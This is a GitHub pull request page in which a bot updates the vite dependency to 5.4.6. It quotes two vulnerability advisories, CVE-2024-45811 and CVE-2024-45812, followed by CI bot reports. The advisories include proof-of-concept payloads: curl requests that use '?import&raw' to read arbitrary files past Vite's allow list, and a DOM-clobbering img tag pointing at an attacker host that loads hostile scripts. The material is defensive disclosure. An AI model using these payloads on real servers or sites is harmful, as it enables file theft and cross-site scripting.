Deps: Update dependency vite to v5.4.6[SECURITY] #855

renovate · 2024-09-17T19:43:42Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`5.4.4` -> `5.4.6`

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

If you want to rebase/retry this PR, check this box

This PR has been generated on behalf of Nordcom AB by Renovate Bot.

vercel · 2024-09-17T19:43:44Z

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
nordstar	✅ Ready (Inspect)	Visit Preview	💬 Add feedback	Sep 19, 2024 7:32am
nordstar-storybook	✅ Ready (Inspect)	Visit Preview	💬 Add feedback	Sep 19, 2024 7:32am

changeset-bot · 2024-09-17T19:43:46Z

🦋 Changeset detected

Latest commit: 66c13b6

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 13 packages

Name	Type
@nordcom/nordstar-accented	Patch
@nordcom/nordstar-button	Patch
@nordcom/nordstar-card	Patch
@nordcom/nordstar-details	Patch
@nordcom/nordstar-header	Patch
@nordcom/nordstar-heading	Patch
@nordcom/nordstar-input	Patch
@nordcom/nordstar-label	Patch
@nordcom/nordstar-view	Patch
@nordcom/nordstar	Patch
@nordcom/nordstar-system	Patch
@nordcom/nordstar-storybook	Patch
@nordcom/nordstar-docs	Patch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

github-actions · 2024-09-17T19:46:00Z

Coverage Report

Status	Category	Percentage	Covered / Total
🔵	Lines	99.61%	773 / 776
🔵	Statements	99.61%	773 / 776
🔵	Functions	77.77%	7 / 9
🔵	Branches	90.09%	191 / 212

File Coverage

No changed files found.

Generated in workflow #5737

codecov · 2024-09-17T19:47:02Z

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 99.61%. Comparing base (f00e116) to head (66c13b6).
Report is 2 commits behind head on master.

Additional details and impacted files

@@           Coverage Diff           @@
##           master     #855   +/-   ##
=======================================
  Coverage   99.61%   99.61%           
=======================================
  Files          23       23           
  Lines         777      777           
  Branches      187      187           
=======================================
  Hits          774      774           
  Misses          3        3

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

renovate bot added the Dependency label Sep 17, 2024

renovate bot enabled auto-merge (rebase) September 17, 2024 19:43

vercel bot deployed to Preview – nordstar September 17, 2024 19:45 View deployment

vercel bot deployed to Preview – nordstar-storybook September 17, 2024 19:47 View deployment

Deps: Update dependency vite to v5.4.6[SECURITY]

4009ff3

renovate bot force-pushed the deps/bot-npm-vite-vulnerability branch from b4e9cef to 4009ff3 Compare September 19, 2024 07:29

Deps: Add changeset.

66c13b6

vercel bot deployed to Preview – nordstar September 19, 2024 07:31 View deployment

vercel bot deployed to Preview – nordstar-storybook September 19, 2024 07:32 View deployment

renovate bot merged commit 0ca65ef into master Sep 19, 2024
12 checks passed

renovate bot deleted the deps/bot-npm-vite-vulnerability branch September 19, 2024 07:32

nordcombot mentioned this pull request Sep 19, 2024

🚀 Release packages #802

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Deps: Update dependency vite to v5.4.6[SECURITY] #855

Deps: Update dependency vite to v5.4.6[SECURITY] #855

renovate bot commented Sep 17, 2024 •

edited

Loading

vercel bot commented Sep 17, 2024 •

edited

Loading

changeset-bot bot commented Sep 17, 2024 •

edited

Loading

github-actions bot commented Sep 17, 2024 •

edited

Loading

codecov bot commented Sep 17, 2024 •

edited

Loading

Deps: Update dependency vite to v5.4.6[SECURITY] #855

Deps: Update dependency vite to v5.4.6[SECURITY] #855

Conversation

renovate bot commented Sep 17, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

Details

PoC

CVE-2024-45812

Summary

Details

PoC

Impact

Patch

vercel bot commented Sep 17, 2024 • edited Loading

changeset-bot bot commented Sep 17, 2024 • edited Loading

🦋 Changeset detected

github-actions bot commented Sep 17, 2024 • edited Loading

Coverage Report

codecov bot commented Sep 17, 2024 • edited Loading

Codecov Report

renovate bot commented Sep 17, 2024 •

edited

Loading

vercel bot commented Sep 17, 2024 •

edited

Loading

changeset-bot bot commented Sep 17, 2024 •

edited

Loading

github-actions bot commented Sep 17, 2024 •

edited

Loading

codecov bot commented Sep 17, 2024 •

edited

Loading